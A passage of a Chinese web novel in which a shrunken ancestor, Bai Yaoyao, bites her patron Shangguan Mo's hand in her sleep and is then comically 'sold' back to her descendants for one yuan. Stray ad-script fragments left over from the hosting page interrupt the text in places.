“而且这人皮面具是那种丢到人群中基本上不会引起别人注意,存在感超低的普通长相,真的很适合大哥哥你哦。” 唉,还是那句话,男孩子在外面也要懂得保护好自己的。 “至于这个盒子里的东西就比较普通。”白幺幺打开右边的木盒说:“这把匕首削铁如泥,挺适合大哥哥的。” 一下子拿出五件宝贝,不心疼,白幺幺一点也不心疼。 这些都是给大佬的,可以理解为她在投资。 上官墨一一将东西拿起来简单端详了下,神色淡淡。 白幺幺在旁边看得是啧啧感叹,大佬果然就是大佬,哪里像女主,初接触这些东西时,一副没见过世面的表现。 看完后,上官墨就将东西都放在两人中间的座位上,而后拿出手机编辑了一条信息发出去。 东西送出去了,对方是个什么态度,白幺幺无所谓的。 而且吧,在她拿出东西时,上官墨但凡露出半丝贪婪算计的眼神或者让她觉得不舒服的神情,那她就要重新考虑要不要抱大腿的问题了。 车内重新陷入安静,两人各怀心思……完全没有的。 上官墨继续他的工作,白幺幺则是闭上眼睛看似在睡觉,实则是在盘点自己的好宝贝。 顺便也想想,之后见了白保国等白家人,要分别拿出什么做见面礼。 白幺幺真没想睡的,只是想着想着,困意悄无声息袭来,挡也挡不住。 小脑袋一开始只是一点一点的,没有一会儿身体也开始左右晃动。 从旁边人脑袋一点一点的时候,上官墨注意力就没法完全集中。 总会分一丝注意力在旁边,时不时还会用眼角余光扫下。 见人身体无意识晃动的幅度越来越大,上官墨眉梢微挑。 在他才生出要把人喊醒的想法时,视线就扫到那小人儿整个身体已经往他这边侧倒下来了。 先不说两人之间的距离,白幺幺倒下后,会不会碰到上官墨。 两人中间的位置可 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 是放着白幺幺方才拿出来的东西,特别是那两个木盒,要是身体倒下来硌到了…… 原以为按照上官墨的性格,就算来不及把人喊醒,也会身体往边上躲躲或往前挪挪,避开对方的触碰。 至于对方倒下来会不会被硌到,或磕碰到哪,是继续睡着,还是醒来都不关他事。 上官墨自己的确也是这么认为的,可当他发现自己的手不听大脑指挥时已经晚了。 温热宽厚的手掌稳稳托住那颗小脑袋,仿佛托着一个烫手的山芋,身体跟着僵硬了一瞬。 上官墨在纠结要不要把手收回来时,那小人儿更得寸进尺了。 不仅拿脸连续蹭了蹭他的掌心好几下,还得寸进尺的伸出小手抓住他的手,仿佛怕他的手会跑了似的。 上官墨身体僵硬。 上官墨皱眉。 上官墨心烦意乱。 上官墨瞳孔地震。 白小人幺幺睡得香甜, 还做上了美梦,正在梦中啃肘子了。 两只小胖手捧着香喷喷的肘子,一口下去,外皮酥脆,肉质鲜美,口感十足,好吃到让人欲罢不能。 上官墨:“……” 刚刚那是被啃了,被啃了吗? 手上黏糊糊的感觉是口水,是口水吧?! 他僵硬的转动脖子,直接目击某小人的作案现场。 上官墨呼吸蓦地一滞,某种情绪在胸腔中酝酿,已经在爆发的边缘了。 “咕……咕咕……咕咕咕……” 上官墨喜静,一般他坐车,前方司机都会事先将挡板升上去,车内隔音效果很好。 安静的环境里,突然混入这一奇怪的声音,就显得更加清晰。 深呼吸。 上官墨连续做了三次深呼吸,才垂眸,视线从某小人的肚子上掠过。 也不知是被气的,还是被刺激狠了。 他竟然勾唇低低嗤笑了一声。 “原来老祖宗也是会饿肚子的!” 怎么说,这语气多少有点阴阳怪气的那味,反正就很不上官墨。 第173章 我那迷人的小祖宗or老祖宗(11) 才话落,上官墨嘶的倒抽了口凉气,表情有那么一瞬间崩坏了。 白小人幺幺抽动了下鼻子,紧接着皱了皱眉。 怎么有血腥味? 肘子里面没熟透? 哪个厨师做的?这不是糟蹋食材么! 白小人幺幺嚼巴嚼巴口中肉,纠结着是吐出来,还是不吐出来。 咦? 她口中混入了什么东西,咸咸的,有点…… 白幺幺猛然从梦中惊醒,一睁眼就对上某人那双有点一言难尽的眼睛。 伸手不打笑脸人,白幺幺扯起嘴角想笑一个先。 只是。 “唔?” 嘴巴里是啥玩意呀!不会,不会是…… 白小人幺幺心里有了猜测,自以为很悄咪咪的垂眸扫了眼。 当猜测被证实,她心里直接哎哟的嚎了一声。 也不知道是为她梦中的肘子飞了,还是为睡着时竟然把大佬的手当肘子咬了,貌似还咬出血了嚎的这声。 所以…… 她现在是呸的一声,把大佬的手吐出来呢? 还是慢慢的张开嘴,温柔把大佬的手从她的嘴里请出来呢? 白幺幺还在纠结,没决定好时,耳边响起一道凉凉的声音。 “我的手好吃吗?” 白幺幺:“???” 大佬就是大佬,是个会问问题的!! 白小人幺幺双手捧着的大佬的手,轻轻地,慢慢地,动作极其温柔地把大佬的手从她口中请了出来。 视线不可避免的扫到了大佬那又白又嫩的手背上,不仅多了一道有那么一点点深的小牙印,然后上面渗出了那么一点点的血丝。 呜呜,大腿还没抱上,就先把人伤了。 要不,发挥年龄优势,把事情蒙混过去。 “大哥哥,我,呜呜,对不起,幺幺不是故意咬你的,大哥哥的手是不是很痛,幺幺现在给你呼呼就不痛了。” 才把人的手从嘴里请出去,白幺幺说完又把人的手捧到嘴边,对着那渗血的牙印呼呼吹了起来。 上官墨:“……” 白小人幺幺吹着吹着,察觉人一时没有收回手的意思,心里不免呵呵,原来大佬吃这套呀。 当即吹得更卖力了,甚至还配上了“乐”。 “大哥哥,不痛不痛,幺幺给你吹吹,痛痛就飞走了哦!” 白小人幺幺吹了好一会儿,才想着要抬头找人要个服务评价。 “大哥哥,怎么样,是不是不痛了?” “幺幺已经很卖力在吹,吹得两边脸颊酸酸胀胀的。” 卖萌卖惨可耻,可如果管用,谁还管他了。 上官墨很平静的深吸了口气,在某小人期盼的目光中抽回自己的手,而后从车内某个地方拿出一个迷你药箱来。 是时候表现真正的技术了。 白幺幺忙眼疾手快从人手中拿过药箱,“大哥哥,我来,我来,我很会处理伤口,和包扎伤口的。” 上官墨也没拿回药箱的意思,只是给某小人投去了一个半信半疑的目光。 白小人幺幺会在意这点质疑? 笑话。 有本事的人从来都不屑去争辩,只管露上一手震惊小伙伴们。 清洗,消毒,上药,包扎,一套流程下来,动作相当的娴熟专业。 嗯,还赏心悦目。 “喏,大哥哥,好了。” 白小人幺幺眨着不灵不灵的大眼睛,她真的没在期待某人的夸夸啥的。 上官墨收回手,神色淡淡,低垂了下眼睑,遮去眸底那抹不自然与挣扎。 他用没受伤的那只手拿起文件,继续低头看起来。 一切平静得仿佛刚刚的小插曲完全不存在似的。 真没在等人夸夸的白小人幺幺:“……” 小家伙耷拉下小脑袋,肚子此时还很应景的叫了两声。 如果此刻再打开下车窗,让呼啸的风吹进来,此情此景瞧着是不是很让人心酸心疼心…… 根本专心不下来看文件的上官墨:“……” 这到底是他们白家的老祖宗,还是他……不对,上官墨猛地在心里摇头。 “咳咳。” 上官墨轻咳一声,脸上极快地划过一抹不自然的神情。 “谢 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 谢,伤口处理的挺好的。” 上官墨心里的小人:他手上的伤到底是怎么来的?怎么来的?!不是,给自己收拾残局而已,他为什么还要说谢谢,还要夸对方。 瞬间满血复活的白小人幺幺抬头,眸中的光简直快闪瞎了某人。 她颇为难为情的的摆了摆手,“大哥哥不用谢啦,幺幺也没做什么的,就只是简单帮大哥哥包扎了下伤口。” “不过大哥哥真厉害,能看出幺幺在伤口处理上有一手,下回大哥哥要是还受伤了,尽管过来找幺幺帮你处理哈,绝对不收钱,免费的。” 白小人幺幺有种说停不下来的趋势了。 “不管是刀伤需要缝合或者是中弹需要取子弹,还是脏器移植手术,都尽管来找幺幺帮你处理,结果保准让你满意……” “……咕……咕咕……” 小肚子很不 争气的叫了,打断了白幺幺话。 白小人幺幺不要面子的吗? 真的好丢人哦! 嘴角几不可查的翘起一小小弧度,上官墨语气淡淡的说:“先忍着,再过十分钟就到地方了。” 上官墨有洁癖,自己从不在车上吃东西,所以他车上也从不备着些小吃食。 “嗯。” 之后到地方前,白幺幺都很安静,她在自闭中。 说十分钟,其实还没十分钟就到地方了。 车子停稳后,武一早一步下车过来替上官墨打开车门。 观察力惊人的武一第一时间发现上官墨手上的情况,心中惊疑。 什么情况? 一路上车里都发生了些什么,他们主子的手怎么会受伤的? 白小人幺幺没有打开自己那的车门下来,而是爬过来,从另一边已经打开的车门下来。 她一下车就注意到武一的视线刚好从某人被她咬伤的那只手上移开,莫名地有些心虚。 随后走过来的武十和大炮同样第一时间注意到上官墨的手,两人很有默契的,四只眼睛齐刷刷向白小人幺幺看去。 白小人幺幺:……不是,都看她干嘛? 敬业打工人白幺幺上线,开始招揽业务。 第174章 我那迷人的小祖宗or老祖宗(12) “大哥哥手上的伤是我处理的,你们是不是看出来了,技术相当不错,下回你们要是受伤了,都可以来找我帮你们处理,你们都是大哥哥的人,到时费用上,我一定会算你们很便宜的。” 已经迈步往屋里走去的上官墨脚步停顿了下,脸颊更是狠狠抽搐了下。 他的人关注的是这个吗? 避开不说他的伤是怎么来的,很好! 上官墨在心里轻哼一声,还老祖宗,喜欢耍嘴皮子的小家伙还差不多。 武一、武十和大炮三人:“……” 这话让他们三人怎么回。 还是武十最先反应过来,讪笑一声,“谢谢……白……白小姐。” 武十一时差点找不到一个合适的称呼,他继续道:“不过不用了,主子有专门安排一个医疗团队为了我们服务,还是不收我们钱的那种,所以谢谢白小姐的好意了。” 白幺幺:……这人怎么如此实诚,听不出她刚刚就是在跑火车吗? 还有,长到这么大,就没听过一道理,免费的才是最贵的吗? 白小人幺幺傲娇的仰起下巴,同时把手背到身后,做出一副高人风范,语气颇为可惜的说:“哦,这样啊,那行,反正高手都是留在最后出手的。” 瞅见某人都快走没影了,白幺幺忙丢下表情各异的三人闲庭信步(屁颠屁颠)的追上去。 一路来到客厅,瞅见上官墨已经在客厅的主位坐下,然后他右下角的位置上还坐着两个人。 白幺幺停住脚步,犹豫着要不要上前。 想了想,觉得人家正招呼客人了,自己过去好像不太好。 她便转身想自己去找找看厨房在哪,还是先喂饱肚子比较重要。 白幺幺才踏出去一步,身后就响起上官墨的声音。 “要去哪?不是要见白家主,他人现在就在这里了。” 白幺幺:“???” 大佬不是说不去白家,先回自己家吗? 没想到他竟然直接把白家人喊过来了。 白幺幺转过身,重新往客厅走去。 白家人还在满世界寻找白玉瓶的踪迹时,白家家主白保国突然收到了一条信息,就是关于白玉瓶的。 没错,这条信息就是上官墨发的。 信息的内容就短短十一个字:白玉瓶,老祖宗,上官家详谈。 上官墨只是发了这么条信息,也没附上白玉瓶的照片,可是白保国看到信息内容时,心中巨浪翻涌。 白家如此高调的寻找白玉瓶,的确已经是没办法的办法了。 不过敢这样操作,也是因为相信外人永远猜不到他们找白玉瓶的真正用意。 白保国盯着寥寥几字的信息,特别是老祖宗那三个字,深邃的黑眸中风起云涌。 不用怀疑,如果发来信息的不是上官墨,白保国应该会采取一些特殊手段。 只因发信人是上官墨,白保国第一时间喊来弟弟和儿子,三人只是在书房里讨论了不到五分钟,就做出了决定。 白保国带着儿子白安邦出发去上官家,而弟弟白卫国留在家里等情况。 白保国父子俩到达上官家时,上官墨还在路上,管家先将人引到客厅坐着喝茶。 听到车声,白安邦就有点按耐不住。 上官墨走进来才坐下,他就想开口问关于白玉瓶的事,被身旁的白保国不动声色的制止了。 白玉瓶对他们白家来说太重要了,越是重要的谈判越是要沉着冷静,哪怕有些事双方已经彼此心照不宣了。 白安邦也知道自己有点莽撞失态了,老实坐好,努力让自己静下心来。 听到上官墨突然出声,而且好像是在和谁说话,话中意思让白家父子俩心中皆是一凝。 彼此对视一眼后,一起顺着上官墨的视线回头看去。 当只看到一个小女娃时,白保国面不改色,白安邦微不可察的皱眉,不过父子俩很有默契的都隐隐松了口气。 白小人幺幺:“……” 就知道,就知道会这样。 自己现在的形象,真的很难让白家人第一时间往他们老祖宗的方向想。 上官墨对着白 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 幺幺介绍道:“这位就是你要找的白家家主白保国,旁边的是白家主的儿子白安邦。” 白小人幺幺原本还想着要怎么给自己的后辈们来个下马威,让他们知道,你老祖宗就算身体变小了,那也还是你老祖宗。 听到白安邦这个名字时,白幺幺立马想起这人就是女主的“渣爸”。 怎么说,整件事下来。 这人有什么错?好像没有。 这人无辜吗?好像挺无辜的。 可是这丫的要不去冻啥精,会招来女主妈那个神经病,之后女主还会出生吗? 反正吧,老祖宗教训后辈,有时候就是不需要理由,也不需要讲道理的。 白小人幺幺黑沉着脸走到白安邦跟前,本想叫人低头的。 想了想还是自己蹬掉鞋子,跳上沙发,挽起袖子开始连续朝白安邦的后脑勺招呼。 论抽人的速度,白幺幺说第二,没人敢说第一次。 连抽了十下,速度之快,客厅里的 其他两人都没反应过来,更别说被抽的白安邦。 抽完人,白幺幺真的感觉身心舒畅。 她觉得原主应该也是想打这小子的吧! 白安邦反应过来后,捂着被打得嗡嗡响的脑袋站起身来,一脸怒容的看向罪魁祸首……白小人幺幺。 白小人幺幺:……哟嗬,还敢朝你老祖宗发脾气。 白保国尚且能维持面不改色,他目光幽沉看向上官墨,其中意思相当明显。 那就是要上官墨为方才的事,给出个让彼此满意的解释。 上官墨仿佛没瞧见某小人打人的画面似的,泡茶的动作没有任何停顿。 茶泡好后,他先是给自己倒了一杯,端起来轻抿了口,似是觉得很满意,才依次给客厅里的其他三人都倒上一杯。 “白家主请喝茶。” 白保国端起茶杯抿了一口,视线却一直停留在上官墨脸上,等待他的下文。 “白家主也不认识那小女娃吗?” 白保国皱眉,“上官家主这话是什么意思?” 第175章 我那迷人的小祖宗or老祖宗(13) 还不等上官墨继续说话,白小人幺幺已经从沙发上跳下来,穿上鞋子踱步到白保国对面的沙发上坐下。 真是的,所有的逼都让大佬装了,那还有她什么事。 她抬起小手猛地拍了下桌子,“白保国,你小子是老眼昏花了吗?我,白幺幺,仔细看清楚些了,就说眼熟不,还需要我说得再明白些吗?” 白小人幺幺绷着小脸,唬人极了。 而此刻她内心其实是这样的,呜呜,物理白学了,一时忘记力的作用是相互的呢?! 她刚刚一时没控制住力道,感觉小手手肯定都拍红了。 想到这,白小人幺幺不满的瞪了白保国一眼,都怪这群没点眼力见的子孙后辈。 不仅让她手疼,还让她在大佬面前丢了面子。 还想要见面礼,哼,想屁吃。 白保国眸子倏地睁大了一圈,目光定定地盯着白幺幺看,心里就跟洪水过境似的。 白幺幺这个名字别人可能不熟悉,可他白保国熟悉呀,还是熟悉得不能再熟悉的。 甚至近期连做梦都要喊过好几回,也幸好只是在梦中,不然直呼老祖宗的名讳,不是大逆不道是什么。 白保国抬手颤颤巍巍的指着白幺幺,很快又自己反应过来,这样很没礼貌,赶忙将手放下来。 也不知道是太激动了,还是啥的,说话都有些结巴了。 “你……您……是……是老祖宗?” 白保国的话才说完,屋里反应最大的就要数白安邦了。 他刚刚才毫无预兆,莫名其妙的被白幺幺抽了好几下后脑勺,就是现在都感觉后脑那块的头皮还在隐隐作痛了。 要不是看在对方是小女娃,又不确定对方和上官家的关系,他早就……早就拉起人好好教育一番,准要把人凶哭了才罢休。 没办法,他好好坐那,人一上来就往他后脑勺招呼那么多下,力道之大。 白安邦甚至怀疑,要是多来几下,他可能都要脑震荡了。 所以,不把人凶哭了,长长记性。 以后要是也这样打了别人,可能就不是他这么好说话,好脾气的了。 至于动手打小孩,还是个小女孩,白安邦必须是做不来这种事的。 家里的几个皮猴子他下得去手教训,那是因为他们是男孩子,而白家男人可不打女人的,特别还是个小女娃。 可是刚刚他听到了什么? 打他的小女娃就是他们费尽心力,都快找疯了的老祖宗! 白安邦:“……” 求白安邦此刻的心里面积有多大?! 白幺幺冷傲的扬了扬圆润的小下巴,淡声反问,“难道我看着不像?” 这是一道送命题,白保国一时真不知道要怎么回答。 说不像,他想起了儿子刚刚被暴抽脑袋的画面,自己这把老骨头,貌似经不住几下。 说像吧,可梦中与他相见的老祖宗明明是成年模样,现在突然……返老还童,应该是中间出了什么岔子…… 白保国是当过兵,扛过枪,上过战场的铁血铮铮汉子。 往上数,白保国的父亲乃至爷爷也是当过兵的,其实从他们一家的名字,就能看出几代人都是充满爱国情怀的。 嗯,扯远了。 现在关键是白保国虽人老成精了,但睁眼说瞎话的功夫还没练到位。 特别是对着百分之九十九点九可能是他们白家的老祖宗,白保国实在是…… 白安邦看出父亲的纠结为难,放下还捂着后脑勺的手,脸上表情来了个一百八十度大转变。 眨眼的功夫,接近一米九的中年汉子就来到白幺幺跟前,开始委屈哭诉起来,就差抱着白幺幺……的大腿了。 “老祖宗,我们终于找到您了,您都不知道我们满世界的找您,都快找疯了。” “老祖宗,您果然还是记挂着我们的,没等我们找到您,您就自己找过来了。” 等等。 白小人幺幺皱眉,这话听着怎么那么不对劲。 白安邦也很快反应过来自己说错话,忙继续找补道:“老祖宗,都怪我们这些后辈没用,老祖宗都留下了那么多信息,还是没能先一步找到老祖宗。”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> “反而是让老祖宗劳心费力的,甚至为了找到我们付出不少的代价……” 白安邦出生后,白保国给他规划的路就是长大了当兵,保家卫国。 只是白安邦长大后有自己的思想,志不在此,跑去经商了,还很快就干出一番名堂来。 相较于白保国,白安邦就是那种比较能屈能伸,比较精明,也比较跳脱的性子。 对于小女娃是不是他们费尽心力在找的老祖宗,白安邦信了一半,却仍有怀疑,但他没表现出来。 真真假假,左右先把人哄好了再说。 要是假的,反正也就是动动嘴皮子的事,没损失什么。 可要是真的,白安邦瞬间觉得脑壳疼了。 不然咋说亲父子,都给想一块去了。 白安邦可不想再被抽脑袋了,也是因为被抽过脑袋,他才没完全否定对方是自家老祖宗的可能。 他是违抗了自家老爷子的意思, 没去当兵,可他打小可没少被老爷子操练,身手还是不错的。 小女娃的行为虽来得莫名其妙,他一时没有防备,才让打到。 可当他反应过来想阻止,擒住对方的手时,才发现对方的速度之快,已经打完了,而且起码打了八九下。 这手速,怕是打娘胎就开始练的吧! 白幺幺:哟,这小子不错,说话她爱听。 只是爱听归爱听,还是抵消不了他造出女主来的这个错误 。 白小人幺幺斜睨了人一眼,冷哼一声,“一边去,我和你爸说话了,小孩子家家别插嘴。” 小孩子家家的白安邦:“……” 他都已经四十一岁,四十一岁了! 只是想到对方要真是自家老祖宗,自己这个岁数在人家眼中可不就是小孩子家家。 而且吧,白安邦能敏锐的感觉到,这个真有可能是自己家老祖宗的小女娃似乎对他意见很大。 废话,没有很大意见,会一见面话都还没说上一句,就上来抽他。 白安邦一下子发散思维,而后呼吸猛地一滞。 第176章 我那迷人的小祖宗or老祖宗(14) 老祖宗是为什么下来的? 是因为算出白家有灭族之危,为了帮他们改变家族命运而下来的。 现在老祖宗才见面,啥也没说就动手抽他,为什么抽的是他,而……不是抽老爷子呢? 想到某种可能,白安邦心一下子快跳出嗓子眼,真的有点慌。 该不会是老祖宗不仅算出白家有灭族之危,还算出了导致白家灭族的原因。 而这个原因很大可能与他有关,甚至他还有可能就是导致家族走向衰败灭亡的罪魁祸首。 不得不说,白安邦是个聪明的,他真相了。 白安邦这边是半信半疑。 为什么白保国那边基本信了,差百分之零点一,那也是因为成年版的老祖宗突然变成儿童版的,一时还无法很好的接受。 主要是因为白保国在梦中见过成年版的老祖宗。 一开始没往这方面想,一旦有了想法,两相一仔细对比,再加上其他种种除了他不可能有第三人知道的信息,那还有什么可怀疑的。 “老祖宗……” 白保国心中的激动难抑,想说什么,注意到上官墨的存在,话锋一转。 “您先和我们回白家,回白家。” 白保国不清楚上官墨都知道了些什么,但总归先带着自家老祖宗回去比较好。 到时什么情况,问问自家老祖宗不就知道了。 白保国的话才说完,一直在旁边悠然品茗的上官墨淡声开口了。 “白家主,人可以带走,不过价钱咱们可要好好谈谈。” 上官墨的话一出,客厅里的两大一小,三双眼睛同时看向他。 白小人幺幺:……怎么有种自己被称斤卖了的即视感。 价格开高了,怕白家吃不消,毕竟现在是自己的后辈,护犊子的情绪跟着上来了。 可价格要是开低了,不就显得自己好像很不值钱的样子。 白安邦在旁边,看看这个,又看看那个后,忙低垂眉眼,保持安静,降低存在感。 他心里有种不好的预感,回去后,自己很可能会遭受到混合双打。 毕竟他都能猜想到的,老爷子现在只是没心思想其他,后面总归也会反应过来的。 是不是重要吗? 反正先打一顿再说。 多年的父子,白安邦还不了解自己的父亲。 白保国压下心中激动的情绪,面色平静,声线低沉。 “上官家主这话是什么意思?” 上官墨没回答他的问题,直接从口袋里摸出一样东西往桌上一放。 而他拿出的东西不是白玉瓶,还能是什么。 白保国垂眸睨了眼桌上的白玉瓶,神色波澜不惊,声音更是听不出起伏。 “上官家主开个价吧。” 上官墨语气很是随意的说:“白玉瓶,白家开出了一亿的悬赏金额,按照咱们两家的交情,我也不坐地起价,桌上的白玉瓶,一亿你们拿走。” 紧接着,上官墨目光移动,落在了某小人身上。 “她,白家主也想一并带走的话,就自己看着开价吧。” 白保国:“……” 为什么总是让他碰上这种送命题? 白小人幺幺端起茶杯专心喝起来,不关她的事,都不关她的事。 白保国纠结犹豫了好一会儿,决定将问题踢回去。 “这……上官家主要不你直接开个价。” 这个价格无论如何,都不能由他们白家人来开。 他们白家的老祖宗那肯定是无价之宝。 这边两人在交锋,白保国拿出百分之一百的专注在对待,而上官墨可不是。 眼瞅着某小人喝了一杯茶,还想自己倒第二杯,他眉心微蹙了下。 还老祖宗,空腹不建议饮茶的常识都不懂吗? “既然白家主让我开价,那我就直接开价吧!” 停顿了下,上官墨一字一顿的吐出两个字来。 “一块。” “噗……咳咳……” 上官墨话音才落下,一阵猛烈的咳嗽声紧随其后响了起来。 白幺幺同志本来好好在那喝自己的茶,一副事不关己的模样。 没想成大佬一出口,听到自己被贱卖了,一时没忍住,反应就有点大了。 大佬就是大佬,喊出一块价格,怎么不干脆白送 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 得了。 白小人幺幺不开心了,那小眼神控诉的偷瞄了大佬好几眼。 她老值钱了。 白保国也被上官墨报出的价格整愣住了,特别是自家老祖宗明显也很不满意的激烈反应。 他都已经做好哪怕对方狮子大开口,漫天要价的准备了。 只要价格在白家能接受,给得出的范围,他就直接允了对方,绝不讨价还价。 可是现在这情况,难道他要和对方说你要价太低了?! 白保国一生经历谈判数不胜数,头一次遭遇这样的。 正努力压制肩膀抖动幅度的白安邦:“……” 他还是继续降低存在感,当个隐形人吧! 迟迟没得到回复,上官墨勾唇似笑非笑的看着白保国。 “白家主怎么说? 若是觉得一块钱多了,做生意么,我出价,你还价合情合理的。” “所以,白家主觉得什么价格合适,不妨说出来看看。” 白保国:“……” 他有些为难的想去看白幺幺,只是又觉得这种小事就向老祖宗求助,太不应该了。 就在白保国心里盘算着自己要报出个什么价才合适时,白小人幺幺从沙发上跳下来。 她哒哒哒走到上官墨身前,在对方还没反应来时,直接往人手上塞了一样东西。 “大哥哥,这是幺幺的赎身钱哦,反正比一块钱多很多很多,然后多出来的不用找了。” 白小人幺幺大方的摆摆手,一副视钱财如粪土的模样。 赎身钱付了,白幺幺拿起桌上的白玉瓶,提出告辞。 “大哥哥,那今天先这样,我和家里这两个不成器的就先回去了。” 不成器的白家父子:“……” 老祖宗说啥都是对的。 想到什么,白小人幺幺视线移向白保国。 “小保国啊,等下回去记得立马将白玉瓶的钱打给大哥哥,千万别忘了。” 被喊小保国的白保国:“……” 还是白安邦在身后偷偷的碰了老爷子一下,人才反应过来。 “老祖宗,我记……记得,不会忘记的。” 第177章 我那迷人的小祖宗or老祖宗(15) 白小人幺幺背着手,昂首阔步朝门外走去,撇开身高,还是很有大佬风范的。 白保国朝上官墨点头示意了下,忙快步跟上。 “隐形人”白安邦:“……” 他虽比上官墨大上快二十岁,可人家现在已经是和自家老爷子平起平坐的存在了。 “那个,上官家主,我和我父亲,还有我们家老祖宗先离开了,钱等下上车后我会立马联系财务打款的。” 白安邦留下这么句话,也赶紧朝那一老一少追去。 他毫不怀疑,如果自己晚上出去几秒,老爷子可能就带着新鲜出炉的老祖宗先行离开,彻底将他这个儿子抛到九霄云外了。 白安邦追出来,就刚好瞧见老爷子在给老祖宗开车门,他忙小跑着上去准备拉开副驾上车。 白保国皱眉,朝人低声道:“副驾我要坐,你自己打车回去。” 白安邦:“???” 白保国瞧出儿子的疑惑,用只有两人能听到的声音解释道:“老祖宗现在的情况是有点特殊,但无论如何也改变不了她是我们老祖宗的事实。” 白安邦小鸡啄米似的点头,不能以貌取人的道理,他小学时就懂了。 “既然懂了,那就赶紧自己去打车,或者另外叫司机来接你。” 白保国打开副驾的车门坐了上去,同时示意司机可以开车了。 汽车很快绝尘而去,留下白安邦在原地百思不得其解。 武十很巧的从旁边经过,疑惑的凑上前来。 “白董您是有事还要留下来和我们家主谈吗?” 白安邦:“……” 这个问题要他怎么回答?! 白安邦脑子转得还算快,“没有,该谈的都已经和你们家主谈好了。” “我就是临时需要去另一个地方处理点事,刚好和我家老爷子不顺路,就让他们先回去,我自己则另外联系司机过来接我。” 武十听了,不疑有他。 “白董,您的司机在来的路上了吗?没有的话,我刚好有空,可以开车送您过去。” “不用,不用,我的司机很快就到了。” 白安邦婉拒了武十的好意。 等武十离开后,白安邦赶紧发信息给自己的助理,让他以最快的速度安排司机过来,或者自己亲自开车过来,反正怎么快怎么来。 …… 车内。 白幺幺没瞧见白安邦上车,心中有疑问却没问出来。 车子行驶了好一会儿,白幺幺清了清嗓子。 等前面的白保国听到声音忙转过头来,她才说:“小保国啊,这附近有什么美食推荐吗?“ 白保国一听,反应了一秒,立马笑呵呵的报出好几处地方,同时简单介绍了各家的一些招牌菜。 白幺幺听后,最终选择了一家以炖菜为主的私房菜馆。 两人旁若无人的对话,全然没有注意到当白幺幺喊出第一声“小保国”时,司机扶着方向盘的手抖了下。 而当白保国称呼白幺幺老祖宗时,司机的手又抖了下,同时脸颊连续抽动了好几下。 司机是一名退伍军人,不是老爷子亲自带过的兵,却是老爷子带过的兵带的兵。 很优秀的一小伙子,因伤退伍,经老爷子带过的兵推荐来到白安邦身边当司机兼保镖。 司机在白安邦身边已经有快五年了,对白家的人员情况算是十分了解。 一个小女娃不仅直呼白家主名字,还在前面加了个小字。 真的是怎么听,怎么让人愕然滑稽,关键是白家主还回应了。 而白家主称呼那小女娃啥,老祖宗? 这辈分还真是有点离谱呀。 还有这小女娃从哪里冒出来的,司机心中好奇,却也仅仅是好奇。 决定要吃啥后,白幺幺重新恢复高冷姿态,直接闭目养神起来。 其实刚刚在大佬家时,客厅桌上有摆着水果和糕点,她是很想吃的。 只是她忍住了,没办法,两个后辈在那,她肯定要维持下高人风范的。 到地方后,白保国第一时间下车去帮白幺幺开车门。 不远处的一群男孩子嘻嘻闹闹的,忽的其中一个男孩子突然停住脚步。 “勋哥,那不是你家的车吗?等等,下 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 来的好像是你爷爷? 男孩子一手扯了扯旁边人的衣服,一手指着不远处,神色有些惊慌。 能不慌么? 这个点可是上课时间,一群本该在教室里的人,竟然出现在学校外面。 白文勋神色一变,忙顺着好友指着的方向看去。 果然是他家的车,这会儿他爷爷已经下车了。 见自家爷爷竟然亲自去打开后车门,白文勋脸上的紧张之色稍稍淡去,眼里流露出疑惑来。 大家族出来的孩子都比较早熟,像他们这个年纪,对自家的情况已经有了一定的了解。 不仅白文勋好奇,就是跟在他旁边的其他几个小男孩同样好奇,等下下车的会是什么大人物? 白小人幺幺下车后,第一时间察觉到好几道视线的窥探。 她微挑了下眉,像是不经意的转头朝几道视线的来源看 去。 咦,怎么是一群小学生。 这是看她可爱吗? 不错,挺有眼光的。 白保国察觉到她一直盯着某个方向看,也转头看去。 白文勋一群人察觉到白保国的动作,一个个动作迅速的找掩体躲起来。 白幺幺:“???” 白保国顺着白幺幺的视线看去,除了零星几个路人,并没发现啥异样。 他心中疑惑,却也没冒然问出口。 等等,刚刚那群小男孩中有一个瞧着挺眼熟的。 白幺幺稍稍一琢磨,就知道为什么眼熟了。 “小保国啊,你现在是有三个孙子吧,学习成绩都怎样?” 白保国虽疑惑老祖宗怎么突然提起他那三个孙子,不过还是立马给出回答。 “这个,几个孩子都是勤奋好学的,就是好像都不是学习的料,成绩马马虎虎。” 儿子没有按照他的想法参军,白保国把主意打到了几个孙子身上。 只是儿媳妇出自书香门第,似乎更喜欢几个孩子从文。 三个孙子的名字都是儿媳妇取的,白文旭,白文勋,白文泽。 足可见,儿媳妇的执着。 第178章 我那迷人的小祖宗or老祖宗(16) 老爷子不是那种爱搞一言堂的大家长,自己的儿子他尚且能做主。 孙子先是儿媳妇的儿子,再是他的孙子。 所以他虽然很想未来有一两个孙子能去从军,但从未表现出强硬态度,更没去过分干涉儿媳妇教育孙子们。 白幺幺挑眉“哦”了声,“都是勤奋好学的呀!” 白保国脑中蓦地咣当一下。 他,他应该是听错吧,老祖宗的语气挺……挺正常的。 车子经过一广场时,白幺幺已经从广场外墙的led显示屏了解到现在所处的是哪年哪月哪日星期几了。 按照这个时间,今天学校应该是要上课的。 “等下回去,几个孩子应该不在家吧?” “是的,都在学校上课了,不过老祖宗要是想见他们,我现在立马打电话让他们请假回家。” “不用了。”白幺幺摆手,而后想起什么又道:“对了,小保国啊,给我讲讲咱们白家现行的家法家规。” 白幺幺是个爱学习的,信奉活到老学到老。 对于逃课逃学的行为,她绝对是零容忍的。 白保国心里咯噔一下,莫名有种不好的预感。 老祖宗还在等着,他也不耽误,赶紧边走边和老祖宗讲起白家的家法家规。 等人进去后,几个小男孩才从暗处走出来。 